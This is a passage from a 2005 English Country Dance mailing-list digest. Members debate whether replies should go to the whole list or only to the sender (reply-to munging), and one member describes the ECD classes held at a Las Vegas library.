though we're flooded with them. I've been online for more than 20 years and was taught to never write anything you wouldn't want to see in the newspaper (heck, some of my early stuff is *still* on the net in archives). So, if I am sending something extremely personal, I double- and triple-check the address. --Charlene -- Signs that you're a Reenactor / http://www.gwerin.org.uk/silly/signs_that_you.htm : You know every line in Monty Python's Quest for the Holy Grail by heart. You've stopped watching Monty Python's Quest for the Holy Grail because you know every line by heart. ------------------------------ Date: Fri, 09 Sep 2005 14:24:17 -0400 From: sfordnyc-AT-aol.com Subject: Re: [ECD] Re: Season opener this Saturday afternoon! Message-ID: <8C78382D2E2C5BE-91C-8EA9-AT-mblk-r37.sysops.aol.com> ----------MailBlocks_8C78382D2E06362_91C_8D08_mblk-r37.sysops.aol.com Content-Type: text/plain; charset=""us-ascii"" However, perhaps every now and again the list moderator could send a reminder of list rules and practices. Particularly, that for this particular list both Reply and Reply All will send a message to the entire list. And in order to reply individually to a post made to the list, one must remember cut and paste the recipient's address into a new email. It's easy to forget -- especially since it runs counter to how we deal with just about every other email we get. Suzanne // who can't be too careful when replying off list -----Original Message----- From: Emily L. Ferguson To: ECD-AT-ssrl04.slac.stanford.edu Sent: Thu, 8 Sep 2005 21:38:04 -0400 Subject: Re: [ECD] Re: Season opener this Saturday afternoon! I'm one who agrees with Alan. Conversation stops dead when the reply goes to the person to whom you're replying. -- Emily L. Ferguson mailto:elf-AT-cape.com 508-563-6822 New England landscapes, wooden boats and races, press photography http://www.vsu.cape.com/~elf/ ----------MailBlocks_8C78382D2E06362_91C_8D08_mblk-r37.sysops.aol.com Content-Type: text/html; charset=""us-ascii"" However, perhaps every now and again the list moderator could send a reminder of list rules and practices.  Particularly, that for this particular list both Reply and Reply All will send a message to the entire list.  And in order to reply individually to a post made to the list, one must remember cut and paste the recipient's address into a new email.  It's easy to forget -- especially since it runs counter to how we deal with just about every other email we get.   Suzanne // who can't be too careful when replying off list   -----Original Message-----From: Emily L. Ferguson To: ECD-AT-ssrl04.slac.stanford.eduSent: Thu, 8 Sep 2005 21:38:04 -0400Subject: Re: [ECD] Re: Season opener this Saturday afternoon! I'm one who agrees with Alan. Conversation stops dead when the reply goes to the person to whom you're replying. -- Emily L. Ferguson mailto:elf-AT-cape.com 508-563-6822&n bsp;New England landscapes, wooden boats and races, press photography http://www.vsu.cape.com/~elf/   ----------MailBlocks_8C78382D2E06362_91C_8D08_mblk-r37.sysops.aol.com-- ------------------------------ Date: Sat, 10 Sep 2005 01:02:02 EDT From: DavBarnert-AT-aol.com Subject: Re: [ECD] Re: Season opener this Saturday afternoon! Message-ID: <9a.2d337f4d.3053c2ca-AT-aol.com> Emily wrote: > I'm one who agrees with Alan. Me, too. I read the list as a digest, so there's never any danger of sending a message to the list accidently. But don't all messages that come through the list get ""[ECD]"" added to the subject line? Shouldn't that be fair warning not to hit ""reply"" unless you want to post to the list? David Barnert Albany, NY but right now in the Adirondaks following the Gene Murrow/Baltimore Consort ""Macomb Ball."" ------------------------------ Date: Sat, 10 Sep 2005 08:28:09 -0400 From: Fae Fuerst Subject: Re: [ECD] Re: Season opener this Saturday afternoon! Message-ID: <20050910.082814.-371391.0.FFuerst-AT-juno.com> I love having the [ECD] tag, thanks Alan! This one didn't have the [ECD]...don't know why it slipped through like that. But in general, it's a very useful clue. Maybe this semi-interesting discussion will help those of us with holes in our heads and punchy email reflexes. Don't count on it... And it's just fine the way it is. Fae On Sat, 10 Sep 2005 01:02:02 EDT DavBarnert-AT-aol.com writes: > Emily wrote: > > > I'm one who agrees with Alan. > > Me, too. I read the list as a digest, so there's never any danger of > sending a message to the list accidently. But don't all messages that > come through the > list get ""[ECD]"" added to the subject line? Shouldn't that be fair > warning > not to hit ""reply"" unless you want to post to the list? > > David Barnert > Albany, NY > but right now in the Adirondaks following the Gene Murrow/Baltimore > Consort ""Macomb Ball."" > > ------------------------------ Date: Fri, 09 Sep 2005 15:04:48 -0700 (PDT) From: Alan Winston - SSRL Central Computing Subject: [ECD] Reply settings for this list Message-ID: <01LSTY6YP9KC9YMIPU-AT-SSRL.SLAC.STANFORD.EDU> ECDers -- (1) When I said ""reasonable people disagree on this point"", that was a description, not an imperative. I didn't mean to invite a discussion - although I appreciate how very civil the discussion has been. I will not be readily swayed on the settings question. (That's partly because I used, for many years, a mail reader that didn't have a reply-to-all command, and there are still people who use that kind of mail reader.) (2) I'm certainly willing to set up a robot to mail out an automatic list behavor reminder monthly. (3) There's English dancing in Las Vegas? Tell us more! -- Alan -- ============================================================================ === Alan Winston --- WINSTON-AT-SSRL.SLAC.STANFORD.EDU Disclaimer: I speak only for myself, not SLAC or SSRL Phone: 650/926-3056 Paper mail to: SSRL -- SLAC BIN 99, 2575 Sand Hill Rd, Menlo Park CA 94025 ============================================================================ === ------------------------------ Date: Fri, 9 Sep 2005 19:44:20 -0700 From: ""JB Green"" Subject: Re: [ECD] Reply settings for this list Message-ID: Alan wrote -- > -----Original Message----- > From: owner-ecd-AT-ssrl04.slac.stanford.edu > [mailto:owner-ecd-AT-ssrl04.slac.stanford.edu] On Behalf Of Alan Winston > - SSRL Central Computing > Sent: Friday, September 09, 2005 3:05 PM > To: ecd-AT-ssrl04.slac.stanford.edu > Subject: [ECD] Reply settings for this list > > ECDers -- > > (1) When I said ""reasonable people disagree on this point"", that was a > description, not an imperative. Oh Darn! And I get so passionate on this issue... Ive been very...um...muted... In this list by my choice. > I will not be readily swayed on the settings question. (That's partly > because I used, for many years, a mail reader that didn't have a > reply-to-all command, and there are still people who use that kind of > mail reader.) This is the best reason I've ever heard for justifying one behavior over another. > (3) There's English dancing in Las Vegas? Tell us more! I've been living in Las Vegas since March 2001. I have been a member of a non-profit educational organization that recreates all aspects of life in any society known to Europe between oh lets say 600 and 1650. This organization is about To celebrate its 40th Anniversary (do organizations have Birthdays?) and I am on their international, Arizona, and Southern California/Southern Nevada/Hawaii regional organization dance lists. Right now much of the discussion I am seeing on those lists pertains to the dancing at the Grand Ball to be held at the www.estrellawar.org event in Goodyear (Greater Western Phoenix, AZ) in February over President's day weekend 2006. The biggest Grand Ball that I've ever attended .. the SCA annually holds at www.pennsicwar.org in Slippery Rock, Pennsylvania in August. I attended in 2004 and had a blast... But that is digression... Since you asked specifically about ECD in Las Vegas. EC Dancing in Las Vegas, when I arrived, was limited to when Countess Ealasaid Nic Churlain travelled up to Las Vegas from Los Angeles and provided the teaching and the calling. Some of you may know her as Marsden Macrae. I love Marsden's teaching, but we can't get her up here often enough for the dancers to be happy. Still she comes out several times a year, and for that we are grateful. Roughly three years ago, I asked Marsden about how we might set up an English Country Dance class regularly here, and I was thinking we could have it on campus at UNLV, and my new position of President of a recognized student organization would help us. Alas, while Marsden did find us a local who could instruct us, that local instructor was not part of the ""university community"" which was narrowly defined as students, staff, and faculty. Campus insisted that I could book the room for free as a student organization but after using it some fifty times or more, they could decide to back bill me $200.00 a night because the instructor was alledgedly seen to have moved their feet or participated in the dancing -- thus changing their category from ""the source of entertainment"" to ""non-university community participant"" the latter being their trigger to demand rent. Nothing really to worry about there because before they'd send me the bill, they'd block all future attempts to register for classes or procure transcripts. Disciplinary action for failure to pay on demand wouldn't start until at least after two weeks from the mailing date. I really worked hard to reverse them on their position, citing many reasons and examples, but the end result was that we had a three-month delay and eventually found that we could use our on-campus student organization recognition papers to apply to the public library for access to a room, free of charge, during library hours, and up to twice a month -- as they provide to other non-profit organizations -- subject to the stipulation that our classes be free and open to the public. Yippee! Regularly scheduled English Country Dance class began. Our first instructor/caller was Chris Kawa. Later, Chris stepped back and Norma Biggar took over. Norma has been supplemented at times by myself, Jim Dana, and Jeanne Russell. I have about five dances in my reperitoire, and started calling literally from the floor when I noticed the people nearest to me in the dance ""Hole in the Wall"" were stumbling with the steps, and ever since then ""Hole in the Wall"" has been mine to call. I need to get more organized, and arrange for music to be portable on my own equipment, and my health issues or my schoolwork keeps getting in the way. I had surgery over the summer, so hopefully the health problems will all be gone permanently. I have not yet created my ""calling cards"" for calling dances, nor put the music on my portable mp3 player...or my laptop. We have been meeting on Monday evenings, from 6:30 to 8:45 (the library closes at 9). Mostly we get the second and third Mondays, but this month due to Labor Day, an organization that holds its business meeting on the first Monday moved their meeting to the second Monday, so we have only the third Monday this month. The room we dance in, the ""Jewel Box Theater"" is not carpeted, and has a stack of chairs, two tables and a grand piano in it. Occasionally we have live music, otherwise we use ""the bard in the box"". Attendance ranges from 4-26, usually in direct proportion to the outside temperature.... Funny not so many dancers come out in the 115+ degrees Fahrenheit heat... The branch is known to most locals at the ""Flamingo Library"" but it's formal name is the ""Clark County Library"". The address is Clark County Library 1401 E. Flamingo Road, Las Vegas, NV 89119. The cross street, Escondido st., is one block east of South Maryland Parkway. I have again begun the process toward re-recognition of the campus student group: ""University Historical Dance Enthusiasts"", a process we need to do each semester in order to keep our ability to book the ECD dates in the library. I personally have danced English Country dances once quarterly for two years, then monthly for two more years, then not at all for nearly two decades, then picked it up again at UC Berkeley in 2000. In our dance classes at the library, we have done English Country Dances considered ""in period"" for the sponsoring group, English Country Dances considered ""too modern to be in period"" for the sponsoring group, as well as other favorites like Bransles, Pavannes, Alemandes, and I hope to introduce 15th Century Italian dance when I feel confident or find an instructor. I have dance materiel from England, France, Italy and Germany running from the 15th to 17th centuries. I personally have also danced English Regency, Contra, Square and Israeli and International Folk dances. I have attended classes for Tribal Dance (about 500 years before modern Cabaret-Style Belly Dancing), and have drummed for dancers in that style. Which hook-ups do you want? I visited Las Vegas in November of 2000, and was lucky that Marsden visited then too. I expect she will be back here in late January or Early February for the local ""Collegium of the Desert"" event which is held annually in Henderson or Las Vegas. Norma maintains an email list of all sorts of dancing opportunies that I know has included English Country, Contra, Square, International Folk, Israeli Folk, and more.. In areas near Las Vegas but inclusive of Southern California, Arizona and Western Utah. Does anyone in or near Phoenix, AZ want information about free dance classes open to the public at ASU Tempe? I can't promise that ever dance will be English Country there. They may do SCA favorites that are not English Dances... Anyone anywhere else that wants me to try to find some historical dancing for them (through contact with one or more historical recreation groups that I belong to) should email me privately with their city, state or province, and country and I'll do what I can. The last disbeliever who challenged me was astonished that my resources included a group within seven miles of his home in Perth, Western Austrailia. Last I heard he had joined up and was making armor for Knightly combat. In Service, JB Green, Undergraduate Student College of Business University of Nevada, Las Vegas We now return to our regularly scheduled homework... Send more questions, please! (not so blind) Blind Carbon Copies to: Marsden Macrae, Norma Biggar, Chris Kawa, Jim Dana, and Jeanne Russell. I'd send them more openly but I didn't want to send out their email addresses without permission. ------------------------------ Date: Fri, 9 Sep 2005 07:41:20 -0700 (PDT) From: Tom Vincent Subject: Re: [ECD] those pesky personal notes Message-ID: <20050909144120.80471.qmail-AT-web52615.mail.yahoo.com> The vast majority of subscribers are smart enough to know that their message goes out to everyone and the ones that aren't find out pretty soon after making their first embarrassing 'private' post. I'm on one e-list where posts go back to the poster rather than the list and it's a mess. I finally gave up on it and set my subscription to 'digest only' and reply to the digest. In keeping with the earlier silliness, maybe it's a 'sign' that one is on the 'wrong' path when they post private messages to a public forum. ;> Tom --- Fae Fuerst wrote: > If it's set the other way, mistakes are somewhat self-correcting. When > your post doesn't appear, you'll probably notice it only went to one > person, and send it to the list. > > Which is worse, some delayed or missing posts due to mistakes, or > having personal notes spread across a public list? > > I like anything that gives me a second chance to get it right. Thanks, > Alan! > > Fae > > > On Thu, 08 Sep 2005 18:02:29 -0700 (PDT) Alan Winston - SSRL Central > Computing writes: > > Fae wrote: > > > > > Damn! Alan, can you save us from ourselves? Sorry everybody! > > > > It's technically feasible to make the reply-to setting fo the list > > go to originator rather than list , but my belief is that that's > > wrong > for > > a public > > discussion list. Reasonable people have been known to disagree on > > this point. > > > > -- Alan > > -- > > > ========================================================================= > ====== > > Alan Winston --- WINSTON-AT-SSRL.SLAC.STANFORD.EDU > > Disclaimer: I speak only for myself, not SLAC or SSRL Phone: > > 650/926-3056 > > Paper mail to: SSRL -- SLAC BIN 99, 2575 Sand Hill Rd, Menlo Park > > CA 94025 > > > ========================================================================= > ====== > > > > > > > -*-*-*-*-*-*-*-*-* Tom Vincent -*-*-*-*-*-*-*-*-* """"Conservatives saw the savagery of 9-11 and the attacks and prepared for war; liberals saw the savagery of the 9-11 attacks and wanted to prepare indictments and offer therapy and understanding for our attackers."" - Karl Rove, Fascist Idiot, June 22 2005 ------------------------------ Date: Fri, 9 Sep 2005 11:31:15 -0400 From: Campbell Kaynor Subject: Re: [ECD] those pesky personal notes Message-ID: Fae Fuerst says - ""...Which is worse, some delayed or missing posts due to mistakes, or having personal notes spread across a public list...?"" Dear Fae, The answer to your question depends on the nature of the personal notes. Certainly it would cause me some embarrassment if my lewd and lascivious flirtations were frequently disseminated list-wide, but that is a risk I'll live with. (Of course I can't speak for the embarrassment to the recipient though they can always lay all the blame on ""Crazy Cammy."" Aside - For those of you desirous of such mailings please respond to me off-list). There is no best solution as mistakes can and will be made in either situation. Personally, I don't have difficulty distinguishing and ignoring when an individual has inadvertently sent a personal note list-wide. I am more at a loss when I see a list-wide reply to something I never received and can tell by the response that it is a subject/content that I would like to have been in on. (Note how deftly I ended that sentence with TWO prepositions). Love and kisses to the whole list, Cammy ------------------------------ Date: Fri, 9 Sep 2005 11:35:12 -0400 From: Campbell Kaynor Subject: Re: [ECD] those pesky personal notes Message-ID: I believe the confusion comes from the fact that many of us receive notes from list members who are also individual acquaintances so we hit ""reply"" without thinking to check whether the original message was public forum or private communication. Cammy Tom Vincent Sent by: owner-ecd-AT-ssrl04.slac.stanford.edu 09/09/05 10:41 AM Please respond to ECD-AT-ssrl04.slac.stanford.edu Message Size: 4.6 KB To ECD-AT-ssrl04.slac.stanford.edu cc Subject Re: [ECD] those pesky personal notes The vast majority of subscribers are smart enough to know that their message goes out to everyone and the ones that aren't find out pretty soon after making their first embarrassing 'private' post. I'm on one e-list where posts go back to the poster rather than the list and it's a mess. I finally gave up on it and set my subscription to 'digest only' and reply to the digest. In keeping with the earlier silliness, maybe it's a 'sign' that one is on the 'wrong' path when they post private messages to a public forum. ;> Tom --- Fae Fuerst wrote: > If it's set the other way, mistakes are somewhat self-correcting. When > your post doesn't appear, you'll probably notice it only went to one > person, and send it to the list. > > Which is worse, some delayed or missing posts due to mistakes, or > having personal notes spread across a public list? > > I like anything that gives me a second chance to get it right. Thanks, > Alan! > > Fae > > > On Thu, 08 Sep 2005 18:02:29 -0700 (PDT) Alan Winston - SSRL Central > Computing writes: > > Fae wrote: > > > > > Damn! Alan, can you save us from ourselves? Sorry everybody! > > > > It's technically feasible to make the reply-to setting fo the list > > go to originator rather than list , but my belief is that that's > > wrong > for > > a public > > discussion list. Reasonable people have been known to disagree on > > this point. > > > > -- Alan > > -- > > > ========================================================================= > ====== > > Alan Winston --- WINSTON-AT-SSRL.SLAC.STANFORD.EDU > > Disclaimer: I speak only for myself, not SLAC or SSRL Phone: > > 650/926-3056 > > Paper mail to: SSRL -- SLAC BIN 99, 2575 Sand Hill Rd, Menlo Park > > CA 94025 > > > ========================================================================= > ====== > > > > > > > -*-*-*-*-*-*-*-*-* Tom Vincent -*-*-*-*-*-*-*-*-* """"Conservatives saw the savagery of 9-11 and the attacks and prepared for war; liberals saw the savagery of the 9-11 attacks and wanted to prepare indictments and offer therapy and understanding for our attackers."" - Karl Rove, Fascist Idiot, June 22 2005 ------------------------------ Date: Fri, 9 Sep 2005 12:45:29 -0400 From: Fae Fuerst Subject: Re: [ECD] those pesky personal notes Message-ID: <20050909.124533.-513943.4.FFuerst-AT-juno.com> The other way is also frustrating, I agree. I'm afraid I'll never develop sufficient paranoia to check the addressee every single time, though -- especially in haste. But maybe 50 more bloopers will do the trick. I'm on Toronto's mailing list directly, so I got two copies of the announcement, and neither of them show the ECD list in the headers. Clicking on one replies to TECD; the other replies to the ECD list. Hazardous! I was glad we had the most recent go-round on html content, since I ended up learning how to use the plain text feature to take out the formatting on pasted-in content in general, very useful. Thanks, Fae ------------------------------ Date: Fri, 09 Sep 2005 14:32:49 -0400 From: sfordnyc-AT-aol.com Subject: Re: [ECD] those pesky personal notes Message-ID: <8C7838403D52AC2-91C-8FCA-AT-mblk-r37.sysops.aol.com> ----------MailBlocks_8C7838403D52AC2_91C_8E2E_mblk-r37.sysops.aol.com Content-Type: text/plain; charset=""us-ascii"" Not so. At this point it's become automatic for most of us that hitting Reply sends to the recipient only; and Reply All sends to the group. And it took Pavlov a while to train those dogs, so one mis-posted reply won't necessarily modify behavior if the next time is 6 months down the road. Suzanne -----Original Message----- From: Tom Vincent To: ECD-AT-ssrl04.slac.stanford.edu Sent: Fri, 9 Sep 2005 07:41:20 -0700 (PDT) Subject: Re: [ECD] those pesky personal notes The vast majority of subscribers are smart enough to know that their message goes out to everyone and the ones that aren't find out pretty soon after making their first embarrassing 'private' post. I'm on one e-list where posts go back to the poster rather than the list and it's a mess. I finally gave up on it and set my subscription to 'digest only' and reply to the digest. In keeping with the earlier silliness, maybe it's a 'sign' that one is on the 'wrong' path when they post private messages to a public forum. ;> Tom --- Fae Fuerst wrote: > If it's set the other way, mistakes are somewhat self-correcting. When > your post doesn't appear, you'll probably notice it only went to one > person, and send it to the list. > > Which is worse, some delayed or missing posts due to mistakes, or > having personal notes spread across a public list? > > I like anything that gives me a second chance to get it right. Thanks, > Alan! > > Fae > > > On Thu, 08 Sep 2005 18:02:29 -0700 (PDT) Alan Winston - SSRL Central > Computing writes: > > Fae wrote: > > > > > Damn! Alan, can you save us from ourselves? Sorry everybody! > > > > It's technically feasible to make the reply-to setting fo the list > > go to originator rather than list , but my belief is that that's > > wrong > for > > a public > > discussion list. Reasonable people have been known to disagree on > > this point. > > > > -- Alan > > -- > > > ========================================================================= > ====== > > Alan Winston --- WINSTON-AT-SSRL.SLAC.STANFORD.EDU > > Disclaimer: I speak only for myself, not SLAC or SSRL Phone: > > 650/926-3056 > > Paper mail to: SSRL -- SLAC BIN 99, 2575 Sand Hill Rd, Menlo Park > > CA 94025 > > > ========================================================================= > ====== > > > > > > > -*-*-*-*-*-*-*-*-* Tom Vincent -*-*-*-*-*-*-*-*-* """"Conservatives saw the savagery of 9-11 and the attacks and prepared for war; liberals saw the savagery of the 9-11 attacks and wanted to prepare indictments and offer therapy and understanding for our attackers."" - Karl Rove, Fascist Idiot, June 22 2005 ----------MailBlocks_8C7838403D52AC2_91C_8E2E_mblk-r37.sysops.aol.com Content-Type: text/html; charset=""us-ascii"" Not so.  At this point it's become automatic for most of us that hitting Reply sends to the recipient only; and Reply All sends to the group.  And it took Pavlov a while to train those dogs, so one mis-posted reply won't necessarily modify behavior if the next time is 6 months down the road.     Suzanne -----Original Message-----From: Tom Vincent To: ECD-AT-ssrl04.slac.stanford.eduSent: Fri, 9 Sep 2005 07:41:20 -0700 (PDT)Subject: Re: [ECD] those pesky personal notes The vast majority of subscribers are smart enough to know that their message goes out to everyone and the ones that aren't find out pretty soon after making their first embarrassing 'private' post. I'm on one e-list where posts go back to the poster rather than the list and it's a mess. I finally gave up on it and set my subscription to 'digest only' and reply to the digest. In keeping with the earlier silliness, maybe it's a 'sign' that one is on the 'wrong' path when they post private messages to a public forum. ;> Tom --- Fae Fuerst wrote: > If it's set the other way, mistakes are somewhat self-correcting. > When > your post doesn't appear, you'll probably notice it only went to one > person, and send it to the list. > > Which is worse, some delayed or missing posts due to mistakes, or > having > personal notes spread across a public list? > > I like anything that gives me a second chance to get it right. > Thanks, > Alan! > > Fae > > > On Thu, 08 Sep 2005 18:02:29 -0700 (PDT) Alan Winston - SSRL Central > Computing writes: > > Fae wrote: > > > > > Damn! Alan, can you save us from ourselves? Sorry everybody! > > > > It's technically feasible to make the reply-to setting fo the list > > go to > > originator rather than list , but my belief is that that's wrong > for > > a public > > discussion list. Reasonable people have been known to disagree on > > this point. > > > > -- Alan > > -- > > > ========================================================================= > ====== > > Alan Winston --- WINSTON-AT-SSRL.SLAC.STANFORD.ED U > > Disclaimer: I speak only for myself, not SLAC or SSRL Phone: > > 650/926-3056 > > Paper mail to: SSRL -- SLAC BIN 99, 2575 Sand Hill Rd, Menlo Park > > CA 94025 > > > ========================================================================= > ====== > > > > > > > -*-*-*-*-*-*-*-*-* Tom Vincent -*-*-*-*-*-*-*-*-* """"Conservatives saw the savagery of 9-11 and the attacks and prepared for war; liberals saw the savagery of the 9-11 attacks and wanted to prepare indictments and offer therapy and understanding for our attackers."" - Karl Rove, Fascist Idiot, June 22 2005 ----------MailBlocks_8C7838403D52AC2_91C_8E2E_mblk-r37.sysops.aol.com-- ------------------------------ Date: Fri, 9 Sep 2005 11:41:50 -0700 (PDT) From: Tom Vincent Subject: Re: [ECD] those pesky personal notes Message-ID: <20050909184150.92681.qmail-AT-web52603.mail.yahoo.com> Ah...that's a good point. I hadn't thought of that...but usually personal notes I get from other dancers don't have [ECD] in the subject. :) ...and naughty notes *never* do. ;> --- Campbell Kaynor wrote: > I believe the confusion comes from the fact that many of us receive > notes from list members who are also individual acquaintances so we > hit ""reply"" > without thinking to check whether the original message was public > forum or > private communication. > Cammy > -*-*-*-*-*-*-*-*-* Tom Vincent -*-*-*-*-*-*-*-*-* """"Conservatives saw the savagery of 9-11 and the attacks and prepared for war; liberals saw the savagery of the 9-11 attacks and wanted to prepare indictments and offer therapy and understanding for our attackers."" - Karl Rove, Fascist Idiot, June 22 2005 ------------------------------ Date: Fri, 9 Sep 2005 11:46:03 -0700 (PDT) From: Tom Vincent Subject: Re: [ECD] those pesky personal notes Message-ID: <20050909184603.17106.qmail-AT-web52602.mail.yahoo.com> Huh? 'Reply All' sends to all the recipients the e-mail *knows* of, and since the only recipient we all *see* is 'ecd-AT-ssrl04.slac.stanford.edu', that's where the reply goes -regardless- of whether it's 'Reply' or 'Reply All'. Unless you've got some unique e-mail software that can do a 'Reply All' to the bcc list. --- sfordnyc-AT-aol.com wrote: > Not so. At this point it's become automatic for most of us that > hitting Reply sends to the recipient only; and Reply All sends to the > group. And it took Pavlov a while to train those dogs, so one > mis-posted reply won't necessarily modify behavior if the next time is > 6 months down the road. > > Suzanne > > -----Original Message----- > From: Tom Vincent > To: ECD-AT-ssrl04.slac.stanford.edu > Sent: Fri, 9 Sep 2005 07:41:20 -0700 (PDT) > Subject: Re: [ECD] those pesky personal notes > > > The vast majority of subscribers are smart enough to know that their > message goes out to everyone and the ones that aren't find out pretty > soon after making their first embarrassing 'private' post. > > I'm on one e-list where posts go back to the poster rather than the > list and it's a mess. I finally gave up on it and set my subscription > to 'digest only' and reply to the digest. > > In keeping with the earlier silliness, maybe it's a 'sign' that one is > on the 'wrong' path when they post private messages to a public > forum. > ;> > > Tom > > --- Fae Fuerst wrote: > > > If it's set the other way, mistakes are somewhat self-correcting. > > When your post doesn't appear, you'll probably notice it only went > > to > one > > person, and send it to the list. > > > > Which is worse, some delayed or missing posts due to mistakes, or > > having personal notes spread across a public list? > > > > I like anything that gives me a second chance to get it right. > > Thanks, Alan! > > > > Fae > > > > > > On Thu, 08 Sep 2005 18:02:29 -0700 (PDT) Alan Winston - SSRL > Central > > Computing writes: > > > Fae wrote: > > > > > > > Damn! Alan, can you save us from ourselves? Sorry everybody! > > > > > > It's technically feasible to make the reply-to setting fo the > list > > > go to > > > originator rather than list , but my belief is that that's wrong > > for > > > a public > > > discussion list. Reasonable people have been known to disagree > on > > > this point. > > > > > > -- Alan > > > -- > > > > > > ========================================================================= > > ====== > > > Alan Winston --- WINSTON-AT-SSRL.SLAC.STANFORD.EDU > > > Disclaimer: I speak only for myself, not SLAC or SSRL Phone: > > > 650/926-3056 > > > Paper mail to: SSRL -- SLAC BIN 99, 2575 Sand Hill Rd, Menlo > Park > > > CA 94025 > > > > > > ========================================================================= > > ====== > > > > > > > > > > > > > > -*-*-*-*-*-*-*-*-* > Tom Vincent > > -*-*-*-*-*-*-*-*-* > > """"Conservatives saw the savagery of 9-11 and the attacks and prepared > for war; liberals saw the savagery of the 9-11 attacks and wanted to > prepare indictments > and offer therapy and understanding for our attackers."" > > - Karl Rove, Fascist Idiot, June 22 2005 > -*-*-*-*-*-*-*-*-* Tom Vincent -*-*-*-*-*-*-*-*-* """"Conservatives saw the savagery of 9-11 and the attacks and prepared for war; liberals saw the savagery of the 9-11 attacks and wanted to prepare indictments and offer therapy and understanding for our attackers."" - Karl Rove, Fascist Idiot, June 22 2005 ------------------------------ Date: Fri, 9 Sep 2005 20:33:21 -0400 From: Campbell Kaynor Subject: Fw: [ECD] Reply settings for this list Message-ID: Alan, I often respond to people privately having adopted the tenet that ""if I can't imagine myself or anyone else ever wanting to look up what I had to say in the archives then it should not go to the list at large."" I adopted this after some reprimands about inappropriate material that caused some controversy (e.g., my tribute to 2 Morris dancers who perished on 9/11 that ill-concealed my political bent) and that would never appear in a search I might perform for ECD-relevant topics. Having begun the practice of replying of-list when I feel what I have to say is only of significant importance to the sender, I often find that I later resubmit a modified version to the list at large upon subsequent discussion - in other words, the relevance tends to be list-wide even though my initial judgement was that it should be one-on-one. This is not a problem (I don't mind resubmitting something) but indicates to me that your policy of making the default reply be a list-wide distribution usually ""enhances"" rather than ""burdens"" the discussion and only in special circumstances should we restrict our input to the sending individual. Of course mistakes will happen but they are rare, easily rectified/ignored, and if anything they add an element of humor rather than the burden of inappropriateness. Finally, it was a great pleasure to finally meet you in person during my recent trip to SF and I hope to really get to spend time to get to know you better at some future time when our paths cross. Thanks for the fabulous service you provide to the ECD community through this list. Cheers, Cammy P.S. I began this as a sender only Email that I have pre-emptively sent to the whole list despite its inappropriate aspects and personal touch, in case something ends up being relevant! ------------------------------ Date: Fri, 9 Sep 2005 14:31:50 -0700 From: ""JB Green"" Subject: Re: personal notes, ECD list, Reply-to Munging, and List Behaviors. Message-ID: Tom (and EC Dancers worldwide on this list): I think that the discussion has been about whether or not to change the behavior of the list -- and the changes that would have to be made to how each of us deals with email from the list -- IF such changes were made. There are essentially two kinds of lists (and I'm assigning them letters A and B): A) Those that change the headers of messages so that replies go back to the list B) Those that do not change the headers of the list. This ECD list is currently of type: A. The action being done to change the headers of messages is called ""reply-to munging"" and there are articles online with titles like ""reply-to munging considered harmful"" and ""reply-to munging considered helpful"" which are the essential arguments in a very heated controversy that has appeared over and over on the Internet over the years. Without ""reply-to"" munging, (such as in a Type B list) if I hit reply on my email client (and by the way, I use Microsoft Outlook 2003 about 99% of the time), my reply -- this reply -- would be sent to you alone... As I am replying to your message in the ECD list. With the munging, it goes to the stanford address and is distributed to everyone on the list. In order to make my reply seen by you and the other members of the ECD list (if the ECD list were changed to a type B list), I would have to either hit the reply-to-all button (the easy way) or hit the reply button and add the address ECD-AT-ssrl04.slac.stanford.edu to the To: or CC: email address fields. I think we can agree that in comparison to hitting reply-to-all, that adding that address is the hard way. But when you look at the headers of the messages you are receiving today, even if you are just looking at what comes up when you hit reply or reply-to-all, you are looking at the programmed behavior AFTER MUNGING! This is because the ECD list is a type A list, a list that changes (munges) the ""reply-to"" message header. That's why the Reply and Reply-to-All seem to be the same to you, because the normal behavior of the email system has been changed by the munging of the ""reply-to"" header to make this pre-programmed change of behavior happen in your email program. It's this munging of the ""reply-to"" header that makes my reply go to ECD-AT-ssrl04.slac.stanford.edu (the ECD list) and not to you alone at your personal email address (tomvincent-AT-yahoo.com). It's true that you read it at your personal email address (tomvincent-AT-yahoo.com), but that is because after I send it to ECD-AT-ssrl04.slac.stanford.edu, the computer there that we know as the ""list server"" sends it out to you at your email address (tomvincent-AT-yahoo.com). Example of the ""Reply-To"" Header content: With Munging: ECD-AT-ssrl04.slac.stanford.edu (type A list like this ECD list) Without Munging: tomvincent-AT-yahoo.com (type B list like some have proposed this ECD list become) Munging actually removes the individual senders email address from the headers, which detractors of munging say breaks the functionality of their email programs. They have a valid point, as you have observed, because after munging there is no visible difference between ""Reply"" and ""Reply-to-all"" and without munging, those functions have different results. Since we are on a Type A list, with ""reply-to"" munging: If I wanted to make this a private reply, I would have to hit ""reply"" then change the addressing of the reply message to replace the ECD-AT-ssrl04.slac.stanford.edu address with your tomrvincent-AT-yahoo.com email address and then you would be the only one to receive my reply. Sometimes, people forget that they have to do that when they are on a type-A list, and get embarrased when a very personal note is sent to a whole distribution list of people, and they meant for it to be a private message. Some messages in some lists exist where the participants are quite passionate about their feelings and beliefs and their ideas conflict.... When this happens between two ore more individuals privately it's called an argument. When it happens between two or more individuals and is disseminated to all the members of a list serve, like everyone on the ECD list, then it's called a flame war. Some messages intended to be kept private that go public because of ""reply-to"" munging that I have seen have been: invitations to surprise parties where the person to be surprised was also on the list, requests for very personal services ranging from housesitting to sexual acts, love letters, dating requests, and business transactions not related to the list topic, etc. From what I've seen on this list, the concerns are that without reply-to munging making all messages go to everyone, then people who are interested in certain discussions may find that there were left out of those discussions, and the list volume will drop because those that are communicating are doing it privately and not with the rest of the group. One question often posed is what is more harmful, letting private messages go out publically, or having some messages that should have been public go privately? I've tried to write this an neutrally as possible. I used to be a strong supporter of one of the two ways to run a list server. Now, because so many of the lists I am on are behaving the other way, I'm not such a strong supporter, only because of my fear that I'll be mishandling my messages. I do still have an opinion, and my reasons for having that opinion are solid, but I no longer have the email reflexes I once had, so I'm not as strong in my support for my opinion of the ""right way to do it"" (tongue in cheek). In fact, I'm ending this missive without stating what side I'm on. Can you tell which list behavior I support? JB Green, MCP, MCP+I, MCSE, CNE, CNA (all industry networking certifications) Former Corporate Email Administrator Newbie ECD instructor, Las Vegas, Nevada. > -----Original Message----- > From: owner-ecd-AT-ssrl04.slac.stanford.edu > [mailto:owner-ecd-AT-ssrl04.slac.stanford.edu] On Behalf Of Tom Vincent > Sent: Friday, September 09, 2005 11:46 AM > To: ECD-AT-ssrl04.slac.stanford.edu > Subject: Re: [ECD] those pesky personal notes > > Huh? 'Reply All' sends to all the recipients the e-mail > *knows* of, and since the only recipient we all *see* is > 'ecd-AT-ssrl04.slac.stanford.edu', that's where the reply goes > -regardless- of whether it's 